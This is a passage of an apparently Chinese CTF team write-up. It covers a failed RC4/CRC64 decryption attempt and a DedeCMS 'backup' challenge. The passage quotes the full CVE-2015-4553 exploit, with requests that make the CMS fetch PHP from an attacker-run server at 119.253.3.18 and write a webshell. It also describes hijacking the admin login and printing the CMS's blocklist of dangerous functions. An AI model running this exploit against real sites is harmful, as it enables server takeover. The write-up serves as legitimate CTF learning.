function_">process_data</span>():</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;data.txt&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line">            line_data = line.split(<span class="string">&quot;\t&quot;</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="built_in">len</span>(line_data) != <span class="number">3</span> <span class="keyword">or</span> line_data[-<span class="number">1</span>] == <span class="string">&quot;\n&quot;</span>:</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            data_with_time.append((line_data[<span class="number">1</span>].split(<span class="string">&quot;.&quot;</span>)[<span class="number">0</span>][<span class="number">2</span>:], line_data[<span class="number">2</span>].replace(<span class="string">&quot;\n&quot;</span>, <span class="string">&quot;&quot;</span>)))</span><br><span class="line">            </span><br><span class="line">    pprint(data_with_time)</span><br></pre></td></tr></table></figure><p>然后我们的逆向大佬 Jeremiah 根据题目的 CRC64 写了个程序</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;time.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> size 256</span></span><br><span class="line"></span><br><span class="line"><span class="type">unsigned</span> <span class="type">char</span> sbox[<span class="number">257</span>]=&#123;<span class="number">0</span>&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">//初始化s表</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">init_sbox</span><span class="params">(<span class="type">unsigned</span> <span class="type">char</span>*key)</span>&#123;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> i,j,k;</span><br><span class="line"><span class="type">int</span> tmp;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span>(i=<span class="number">0</span>;i&lt;size;i++)&#123;</span><br><span class="line">sbox[i]=i;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">j=k=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(i=<span class="number">0</span>;i&lt;size;i++)&#123;</span><br><span class="line">tmp=sbox[i];</span><br><span class="line">j=(j+tmp+key[k])%size;</span><br><span class="line">sbox[i]=sbox[j];</span><br><span class="line">sbox[j]=tmp;</span><br><span class="line"><span class="keyword">if</span>(++k&gt;=<span class="built_in">strlen</span>((<span class="type">char</span>*)key))k=<span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//加解密函数</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">rc4_dec</span><span class="params">(<span class="type">unsigned</span> <span class="type">char</span>*key,<span class="type">unsigned</span> <span class="type">char</span>*data)</span>&#123;</span><br><span class="line"><span class="type">int</span> i,j,k,R,tmp;</span><br><span class="line"></span><br><span class="line">init_sbox(key);</span><br><span class="line"></span><br><span class="line">j=k=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(i=<span class="number">0</span>;i&lt;<span class="built_in">strlen</span>((<span class="type">char</span>*)data);i++)&#123;</span><br><span class="line">j=(j+<span class="number">1</span>)%size;</span><br><span class="line">k=(k+sbox[j])%size;</span><br><span class="line"></span><br><span class="line">tmp=sbox[j];</span><br><span class="line">sbox[j]=sbox[k];</span><br><span class="line">sbox[k]=tmp;</span><br><span class="line"></span><br><span class="line">R=sbox[(sbox[j]+sbox[k])%size];</span><br><span class="line"></span><br><span class="line">data[i]^=R;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int64_t</span> <span class="title function_">CRC64</span><span class="params">(<span class="type">char</span>* buffer)</span>&#123;</span><br><span class="line"><span class="type">uint64_t</span> delta = <span class="number">0x42F0E1EBA9EA3693</span>LL;</span><br><span class="line"><span class="type">int64_t</span> result = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">40</span>; i++)&#123;</span><br><span class="line">result = (<span class="type">int64_t</span>)buffer[i] &lt;&lt; <span class="number">56</span>;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> j = <span class="number">0</span> ; j &lt; <span class="number">8</span>; j++)&#123;</span><br><span class="line">result = (<span class="number">2</span> * result) ^ (result &gt;&gt; <span class="number">63</span>) &amp; delta;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">char</span>* <span class="title function_">GenerateKey</span><span class="params">(<span class="type">char</span>* key, <span class="type">char</span>* timestamp)</span>&#123;</span><br><span class="line">    <span class="built_in">strcat</span>(key, timestamp);</span><br><span class="line">    <span class="keyword">return</span> key;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">db2char</span><span class="params">(<span class="type">double</span> src, <span class="type">char</span>* dst)</span>&#123;</span><br><span class="line">    <span class="type">int64_t</span> temp = (<span class="type">int64_t</span>)src;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">8</span>; i++)&#123;</span><br><span class="line">        <span class="type">char</span> tmp;</span><br><span class="line">        tmp = (<span class="type">char</span>)temp;</span><br><span class="line">        dst[i] = tmp;</span><br><span class="line">        temp = temp &gt;&gt; <span class="number">8</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line"><span class="type">char</span> key[] = <span class="string">&quot;V6h9A_wyEE6YLFiAtxY4W601RkBQIsLn&quot;</span>;</span><br><span class="line">    <span class="type">char</span> data[] = <span class="string">&quot;f694fa558ef96ff34410143aa6f54a1b62a1130f68fda83e&quot;</span>;</span><br><span class="line">    <span class="comment">// 定义timestamp时间戳</span></span><br><span class="line">    <span class="type">double</span> timestamp = <span class="number">1733155314.075389000</span>;</span><br><span class="line">    <span class="type">char</span> temptime[<span class="number">8</span>];</span><br><span class="line">    db2char(timestamp, temptime);</span><br><span class="line">    GenerateKey(key, temptime);</span><br><span class="line">    CRC64(key);</span><br><span class="line">    rc4_dec(key, data);</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span> ; i &lt; <span class="built_in">strlen</span>(data); i++)&#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%c&quot;</span>, data[i]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>但是我们没有能够得到有意义的内容……而且我数据处理是在 Python 中的，于是我考虑到的是使用 Python 调用 C 函数</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> utils <span class="keyword">import</span> process_data</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> c_char_p, c_int, POINTER, CDLL, c_double</span><br><span class="line"></span><br><span class="line"><span class="comment"># LIB = CDLL(os.path.join(os.getcwd(), &quot;lib.dll&quot;))</span></span><br><span class="line"></span><br><span class="line">LIB.call.argtypes = [c_char_p, c_double]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">dec</span>(<span class="params">stream: <span class="built_in">str</span>, ts: <span class="built_in">float</span></span>):</span><br><span class="line">    result = c_char_p()</span><br><span class="line">    LIB.call(result, c_double(ts), c_char_p(stream.encode(<span class="string">&quot;utf-8&quot;</span>)))</span><br><span class="line">    <span class="keyword">return</span> result</span><br><span class="line">    </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    result = []</span><br><span class="line">    data = process_data()</span><br><span class="line">    <span class="keyword">for</span> _ <span class="keyword">in</span> data:</span><br><span class="line">        ts = _[<span class="number">0</span>]</span><br><span class="line">        stream = _[<span class="number">1</span>]</span><br><span class="line">        result = <span class="string">&quot;&quot;</span></span><br><span class="line">        result.append(dec(stream, ts))</span><br><span class="line">    <span class="built_in">print</span>(result)</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;artifact&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(<span class="string">&quot;&quot;</span>.join(result).encode())</span><br><span class="line">        </span><br></pre></td></tr></table></figure><p>摆了……</p><h3 id="backup"><a href="#backup" class="headerlink" title="backup"></a>backup</h3><p>可以看到使用的 CMS 是 dedeCMS 5.7-SP2，我们搜到了一个 <code>CVE-2015-4553</code>，这里写的版本是 dedecms 5.7-sp1，我们想试试 sp2 能不能用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br></pre></td><td class="code"><pre><span class="line">==========================</span><br><span class="line"># Exploit Title: Dedecms variable coverage leads to getshell</span><br><span class="line"># Date: 26-06-2015</span><br><span class="line"># Vendor Homepage: http://www.dedecms.com/]</span><br><span class="line"># Version: dedecms 5.7-sp1 and all old version</span><br><span class="line"># CVE : CVE-2015-4553</span><br><span class="line">===========================</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">[CVE-2015-4553]Dedecms variable coverage leads to getshell</span><br><span class="line">#############################################################################</span><br><span class="line">#</span><br><span class="line">#   DBAPPSECURITY  LIMITED http://www.dbappsecurity.com.cn/</span><br><span class="line">#</span><br><span class="line">#############################################################################</span><br><span class="line">#</span><br><span class="line"># CVE ID:   CVE-2015-4553</span><br><span class="line"># Subject:   Dedecms variable coverage leads to getshell</span><br><span class="line"># Author:   zise</span><br><span class="line"># Date:     06.17.2015</span><br><span class="line">#############################################################################</span><br><span class="line">Introduction:</span><br><span class="line">========</span><br><span class="line">dedecms Open source cms</span><br><span class="line">Extensive application</span><br><span class="line"></span><br><span class="line">Influence version</span><br><span class="line">Newest dedecms 5.7-sp1 and all old version</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Remote getshell</span><br><span class="line">Details:</span><br><span class="line">=======</span><br><span class="line">After the default installation of dedecms</span><br><span class="line">Installation directory</span><br><span class="line">/install/index.php</span><br><span class="line">or</span><br><span class="line">/install/index.php.bak</span><br><span class="line"></span><br><span class="line">/install/index.php //run iis apache exploit</span><br><span class="line">/install/index.php.bak //run apache exploit</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Code analysis</span><br><span class="line"></span><br><span class="line">/install/index.php.bak?install_demo_name=aaaa&amp;insLockfile=bbbb</span><br><span class="line"></span><br><span class="line">#############################################################################</span><br><span class="line">17 $install_demo_name = &#x27;dedev57demo.txt&#x27;;</span><br><span class="line">18 $insLockfile = dirname(__FILE__).&#x27;/install_lock.txt&#x27;;</span><br><span class="line"></span><br><span class="line">here $install_demo_name and $insLockfile definition</span><br><span class="line">// echo $install_demo_name;  printf dedev57demo.txt</span><br><span class="line"></span><br><span class="line">29 foreach(Array(&#x27;_GET&#x27;,&#x27;_POST&#x27;,&#x27;_COOKIE&#x27;) as $_request)</span><br><span class="line">30 &#123;</span><br><span class="line">31    foreach($$_request as $_k =&gt; $_v) $&#123;$_k&#125; = RunMagicQuotes($_v);</span><br><span class="line">32 &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">// echo $install_demo_name; printf aaaa</span><br><span class="line"></span><br><span class="line">$install_demo_name by variable coverage</span><br><span class="line"></span><br><span class="line">The same</span><br><span class="line">17 $install_demo_name = &#x27;dedev57demo.txt&#x27;;</span><br><span class="line">18 $insLockfile = dirname(__FILE__).&#x27;/install_lock.txt&#x27;;</span><br><span class="line"></span><br><span class="line">variable coverage</span><br><span class="line">#############################################################################</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">GETSHELL Step 1 Clear file contents config_update.php</span><br><span class="line">#############################################################################</span><br><span class="line">config_update.php</span><br><span class="line">13 $updateHost = &#x27;http://updatenew.dedecms.com/base-v57/&#x27;;</span><br><span class="line">14 $linkHost = &#x27;http://flink.dedecms.com/server_url.php&#x27;;</span><br><span class="line"></span><br><span class="line">In order to obtain the webshell need to control $updateHost</span><br><span class="line">So the use of variable coverags cleared config_update.php</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">http://192.168.204.135/install/index.php.bak</span><br><span class="line">?step=11</span><br><span class="line">&amp;insLockfile=a</span><br><span class="line">&amp;s_lang=a</span><br><span class="line">&amp;install_demo_name=../data/admin/config_update.php</span><br><span class="line"></span><br><span class="line">index.php.bak</span><br><span class="line">373 else if($step==11)</span><br><span class="line">374 &#123;</span><br><span class="line">375 require_once(&#x27;../data/admin/config_update.php&#x27;);</span><br><span class="line">376 $rmurl = $updateHost.&quot;dedecms/demodata.&#123;$s_lang&#125;.txt&quot;;</span><br><span class="line">377</span><br><span class="line">378 $sql_content = file_get_contents($rmurl);</span><br><span class="line">379 $fp = fopen($install_demo_name,&#x27;w&#x27;);</span><br><span class="line">380 if(fwrite($fp,$sql_content))</span><br><span class="line">381 echo &#x27;&amp;nbsp; &lt;font color=&quot;green&quot;&gt;[√]&lt;/font&gt; 存在(您可以选择安装进行体验)&#x27;;</span><br><span class="line">382 else</span><br><span class="line">383 echo &#x27;&amp;nbsp; &lt;font color=&quot;red&quot;&gt;[×]&lt;/font&gt; 远程获取失败&#x27;;</span><br><span class="line">384 unset($sql_content);</span><br><span class="line">385 fclose($fp);</span><br><span class="line">386 exit();</span><br><span class="line">387 &#125;</span><br><span class="line"></span><br><span class="line">###</span><br><span class="line">HTTP/1.1 200 OK</span><br><span class="line">Date: Wed, 17 Jun 2015 06:55:23 GMT</span><br><span class="line">Server: Apache/2.4.12</span><br><span class="line">X-Powered-By: PHP/5.6.6</span><br><span class="line">Vary: User-Agent</span><br><span class="line">Content-Length: 55</span><br><span class="line">Keep-Alive: timeout=5, max=100</span><br><span class="line">Connection: Keep-Alive</span><br><span class="line">Content-Type: text/html; charset=utf-8</span><br><span class="line"></span><br><span class="line">  &lt;font color=&quot;red&quot;&gt;[×]&lt;/font&gt; 远程获取失败</span><br><span class="line"> ###</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">###After execution file 0 byte ~ho~year~####</span><br><span class="line">2015/06/17  14:55                 0 config_update.php</span><br><span class="line">               1 file              0 byte</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">GETSHELL Step 2</span><br><span class="line">#############################################################################</span><br><span class="line">Create local HTTP services</span><br><span class="line"></span><br><span class="line">zise:tmp zise$ ifconfig en0</span><br><span class="line">en0: flags=8863&lt;UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST&gt; mtu 1500</span><br><span class="line">inet 119.253.3.18 netmask 0xffffff00 broadcast</span><br><span class="line"></span><br><span class="line">zise:tmp zise$ mkdir &quot;dedecms&quot;</span><br><span class="line">zise:tmp zise$ cd dedecms/</span><br><span class="line">zise:dedecms zise$ echo &quot;&lt;?php phpinfo();?&gt;&quot; &gt; demodata.a.txt</span><br><span class="line">zise:dedecms zise$ cd ../</span><br><span class="line">zise:tmp zise$ python -m SimpleHTTPServer</span><br><span class="line">Serving HTTP on 0.0.0.0 port 8000 ...</span><br><span class="line">192.168.204.135 - - [17/Jun/2015 15:11:18] &quot;GET /dedecms/demodata.a.txt HTTP/1.0&quot; 200 -</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">####</span><br><span class="line">http://192.168.204.135/install/index.php.bak</span><br><span class="line">?step=11</span><br><span class="line">&amp;insLockfile=a</span><br><span class="line">&amp;s_lang=a</span><br><span class="line">&amp;install_demo_name=hello.php</span><br><span class="line">&amp;updateHost=http://119.253.3.18:8000/</span><br><span class="line"></span><br><span class="line">####</span><br><span class="line"></span><br><span class="line">HTTP/1.1 200 OK</span><br><span class="line">Date: Wed, 17 Jun 2015 07:11:18 GMT</span><br><span class="line">Server: Apache/2.4.12</span><br><span class="line">X-Powered-By: PHP/5.6.6</span><br><span class="line">Vary: Accept-Encoding,User-Agent</span><br><span class="line">Content-Length: 81</span><br><span class="line">Keep-Alive: timeout=5, max=100</span><br><span class="line">Connection: Keep-Alive</span><br><span class="line">Content-Type: text/html; charset=utf-8</span><br><span class="line"></span><br><span class="line">  &lt;font color=&quot;green&quot;&gt;[√]&lt;/font&gt; 存在(您可以选择安装进行体验)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">index.php.bak</span><br><span class="line">373 else if($step==11)</span><br><span class="line">374 &#123;</span><br><span class="line">375 require_once(&#x27;../data/admin/config_update.php&#x27;);</span><br><span class="line">376 $rmurl = $updateHost.&quot;dedecms/demodata.&#123;$s_lang&#125;.txt&quot;;</span><br><span class="line">377</span><br><span class="line">378 $sql_content = file_get_contents($rmurl);</span><br><span class="line">379 $fp = fopen($install_demo_name,&#x27;w&#x27;);</span><br><span class="line">380 if(fwrite($fp,$sql_content))  //fwrite websehll</span><br><span class="line">381 echo &#x27;&amp;nbsp; &lt;font color=&quot;green&quot;&gt;[√]&lt;/font&gt; 存在(您可以选择安装进行体验)&#x27;;</span><br><span class="line">382 else</span><br><span class="line">383 echo &#x27;&amp;nbsp; &lt;font color=&quot;red&quot;&gt;[×]&lt;/font&gt; 远程获取失败&#x27;;</span><br><span class="line">384 unset($sql_content);</span><br><span class="line">385 fclose($fp);</span><br><span class="line">386 exit();</span><br><span class="line">387 &#125;</span><br><span class="line"></span><br><span class="line">Attack complete</span><br><span class="line">you webshell</span><br><span class="line"></span><br><span class="line">http://192.168.204.135/install/hello.php</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&gt; zise ^_^</span><br><span class="line">&gt; Security researcher</span><br><span class="line"></span><br><span class="line">This is the vulnerability of some web pages</span><br><span class="line">http://seclists.org/fulldisclosure/2015/Jun/47</span><br></pre></td></tr></table></figure><p><del>然后 Rusty 不知道用啥方法进去了（队内共享文档没写……）</del> Rusty 用的方法大致是这个方案（<a href="https://cloud.tencent.com/developer/article/1850813%EF%BC%89%EF%BC%8C%E6%88%91%E4%BB%AC%E8%83%BD%E5%A4%9F%E4%BD%BF%E7%94%A8%E6%88%91%E4%BB%AC%E8%87%AA%E5%B7%B1%E7%9A%84%E6%95%B0%E6%8D%AE%E5%BA%93%EF%BC%88MariaDB%EF%BC%89%EF%BC%8C%E8%AE%A9%E8%BF%99%E4%B8%AA">https://cloud.tencent.com/developer/article/1850813），我们能够使用我们自己的数据库（MariaDB），让这个</a> CMS 连接我们的数据库进行操作，我们成功登录了管理员</p><p>我们尝试传马上去，但是这个 CMS 自带了一个危险代码检测功能</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 不允许这些字符</span></span><br><span class="line"><span class="variable">$content</span> = <span class="title function_ invoke__">preg_replace</span>(<span class="string">&quot;#(/\*)[\s\S]*(\*/)#i&quot;</span>, <span class="string">&#x27;&#x27;</span>, <span class="variable">$content</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">global</span> <span class="variable">$cfg_disable_funs</span>;</span><br><span class="line"><span class="variable">$cfg_disable_funs</span> = <span class="keyword">isset</span>(<span class="variable">$cfg_disable_funs</span>) ? <span class="variable">$cfg_disable_funs</span> : <span class="string">&#x27;phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace&#x27;</span>;</span><br><span class="line"><span class="variable">$cfg_disable_funs</span> = <span class="variable">$cfg_disable_funs</span>.<span class="string">&#x27;,[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert&#x27;</span>;</span><br><span class="line"><span class="keyword">foreach</span> (<span class="title function_ invoke__">explode</span>(<span class="string">&quot;,&quot;</span>, <span class="variable">$cfg_disable_funs</span>) <span class="keyword">as</span> <span class="variable">$value</span>) &#123;</span><br><span class="line">    <span class="variable">$value</span> = <span class="title function_ invoke__">str_replace</span>(<span class="string">&quot; &quot;</span>, <span class="string">&quot;&quot;</span>, <span class="variable">$value</span>);</span><br><span class="line">    <span class="keyword">if</span>(!<span class="keyword">empty</span>(<span class="variable">$value</span>) &amp;&amp; <span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;#[^a-z]+[&#x27;\&quot;]*<span class="subst">&#123;$value&#125;</span>[&#x27;\&quot;]*[\s]*[([&#123;&#x27;]#i&quot;</span>, <span class="string">&quot; <span class="subst">&#123;$content&#125;</span>&quot;</span>) == <span class="literal">TRUE</span>) &#123;</span><br><span class="line">        <span class="variable">$content</span> = <span class="title function_ invoke__">dede_htmlspecialchars</span>(<span class="variable">$content</span>);</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;DedeCMS提示：当前上传的文件中存在恶意代码！&lt;pre&gt;<span class="subst">&#123;$content&#125;</span>&lt;/pre&gt;&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span>(!<span class="keyword">empty</span>(<span class="variable">$value</span>) &amp;&amp; <span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;#(&lt;)[\s]*(script)[\s\S]*(src)[\s]*(=)[\s]*[\&quot;|&#x27;]#i&quot;</span>, <span class="string">&quot; <span class="subst">&#123;$content&#125;</span>&quot;</span>) == <span class="literal">TRUE</span>) &#123;</span><br><span class="line">        <span class="title function_ invoke__">preg_match_all</span>(<span 